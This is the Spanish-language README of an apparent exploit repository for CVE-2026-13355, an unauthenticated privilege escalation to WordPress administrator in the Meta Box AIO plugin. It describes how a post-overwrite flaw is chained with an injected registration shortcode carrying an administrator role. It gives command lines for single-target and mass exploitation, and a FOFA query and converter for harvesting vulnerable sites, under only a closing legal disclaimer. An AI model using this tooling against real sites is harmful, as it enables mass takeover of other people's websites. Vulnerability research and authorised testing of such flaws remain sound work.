CVE-2026-13355 — Escalada de privilegios a administrador sin autenticación en Meta Box AIO

Prueba de concepto en Python 3: escáner y exploit para CVE-2026-13355 en el paquete de WordPress Meta Box AIO (y las extensiones relacionadas MB Frontend Submission / MB User Profile).

Resumen

Fallos encadenados en dos extensiones incluidas permiten la creación de cuentas de administrador sin autenticación:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id sobrescribe el objetivo del formulario sin autenticación; Form::process() omite user_can_edit(), por lo que los atacantes pueden usar wp_update_post() y sobrescribir post_content en entradas/páginas arbitrarias.
2. MB User Profile (mbup) — Los atributos inyectados del shortcode [mb_user_profile_register role="administrator" auto_login="true"] se confían sin validación del rol.

Importante: La cadena de explotación requiere un formulario público de mbfs (envío desde el frontend), no formularios mbup de solo inicio de sesión. Muchos resultados de FOFA solo exponen la interfaz de inicio de sesión/registro de mbup — esos se marcan como plugin_mbup_only, no explotables mediante esta cadena.

Requisitos

• Python 3.8+
• pip install -r requirements.txt

Inicio rápido

pip install -r requirements.txt

# Objetivo único — comprobar (flujo de terminal en vivo por defecto)
python poc.py -u https://target.example --mode check

# Comprobación masiva (una línea por objetivo salvo --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Objetivo único — explotar (necesita URL del formulario mbfs + ID de entrada)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Explotación masiva desde la salida de comprobación
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → lista de objetivos

Consulta de ejemplo:

body="/wp-content/plugins/meta-box-aio/"

Normalizar una exportación CSV de FOFA:

python fofa_to_list.py -i fofa_export.csv
# escribe list.txt + CSV normalizado (solo local, en gitignore)
python poc.py --list list.txt --mode check --threads 20

Opciones de CLI

Archivos de salida

Usa --vuln-list exploited.txt en las ejecuciones de exploit para que los aciertos de comprobación en hits.txt no se sobrescriban.

Valores de status en la comprobación

Notas sobre la explotación

• El paso de envenenamiento envía post_content mediante un formulario mbfs con ?rwmb_frontend_field_object_id=<id>.
• El éxito requiere que el shortcode inyectado se renderice en la página envenenada (sin strip/KSES, plugin parcheado, tipo de formulario incorrecto).
• Los formularios mbfs de contacto/boletín a menudo carecen de un campo post_content real; la sobrescritura puede fallar igualmente en la práctica.
• Un HTTP 403 en el POST suele indicar bloqueo por WAF/host.

Estructura del repositorio

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Las listas de escaneo locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) están en .gitignore y no deben confirmarse.

Referencias

• NVD — CVE-2026-13355
• Aviso de Wordfence
• Registro de cambios de Meta Box AIO

Legal

Solo para pruebas de seguridad autorizadas y educación. Eres responsable del cumplimiento de las leyes aplicables y las reglas del programa.